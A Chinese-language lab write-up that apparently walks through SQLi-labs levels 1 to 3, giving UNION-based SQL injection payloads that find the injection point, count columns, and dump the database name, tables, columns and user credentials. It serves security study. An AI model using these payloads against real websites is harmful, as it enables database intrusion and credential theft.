Less1
首先在上方URL地址栏输入代码,判断是否存在注入点
?id=1' and 1=1 -- -
输入代码回车后,有回显,说明存在注入点,再输入下面的代码
?id=1' and 1=2" -- -
如上图显示,没有回显,说明可以利用 ' 字符注入
确定好注入字符后使用下面的代码判断有多少列,超出列数则会报错,此处采用二分法,猜测尝试。
?id=1' order by 4 --
判断出有多少列后,再输入下方代码判断数据显示点(id要改为0或负数,使用UNION联合查询)
?id=0' union select 1,2,3 -- -
把id要改为0或负数的作用
确保联合查询的结果可见:通过将id设置为0或负数,攻击者可以确保原始查询返回的记录尽量少,甚至没有记录。这使得UNION查询的结果更容易被观察到。
避免意外的数据干扰:如果原始查询返回了很多记录,这些记录可能会掩盖联合查询返回的数据。将id设置为一个不可能存在的值(如0或负数),可以避免这种情况,从而更容易查看和分析联合查询的结果。
利用数据库的特性:在某些数据库系统中,id为0或负数的记录可能不存在。这有助于确保只有UNION查询返回的结果被显示。
使用下面的代码爆出数据库名称及版本信息
?id=-1'union select 1,database(),version()--+
爆出数据表名称
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
爆出字段信息
?id=-99' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users'--+
爆出用户名和密码
?id=-99' union select 1,group_concat(concat_ws(';',username,password)),3 from security.users--+
Less2
首先判断注入点,在地址栏输入代码,
?id=1'and 1=1--+
发现报错,如上图所示,说明存在注入点,但不是用单引号进行闭合。
使用双引号依旧报错,且报错信息依旧如上图,看不到数字,推测为数字性注入,尝试下面的代码
id=1
如图,证明猜测正确。然后开始判断数据库的列数,判断数据显示点,然后开始爆破,获取信息,该部分操作与less1完全相同,只需把less1中的单引号去掉即可。代码及效果图如下
id=1order by 3 -- -
?id=-1 union select 1,2,3
?id=-1 union select 1,database(),version()
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
?id=-1 union select 1,2,group_concat(username ,id , password) from users
less3
除注入类型改变外,其余部分与前两关一致。
判断注入点
?id=1'
判断可能为括号闭合,输入代码
?id=1') --+
?id=1') order by 3 --+
?id=-1') union select 1,2,3--+
?id=-1') union select 1,database(),version()--+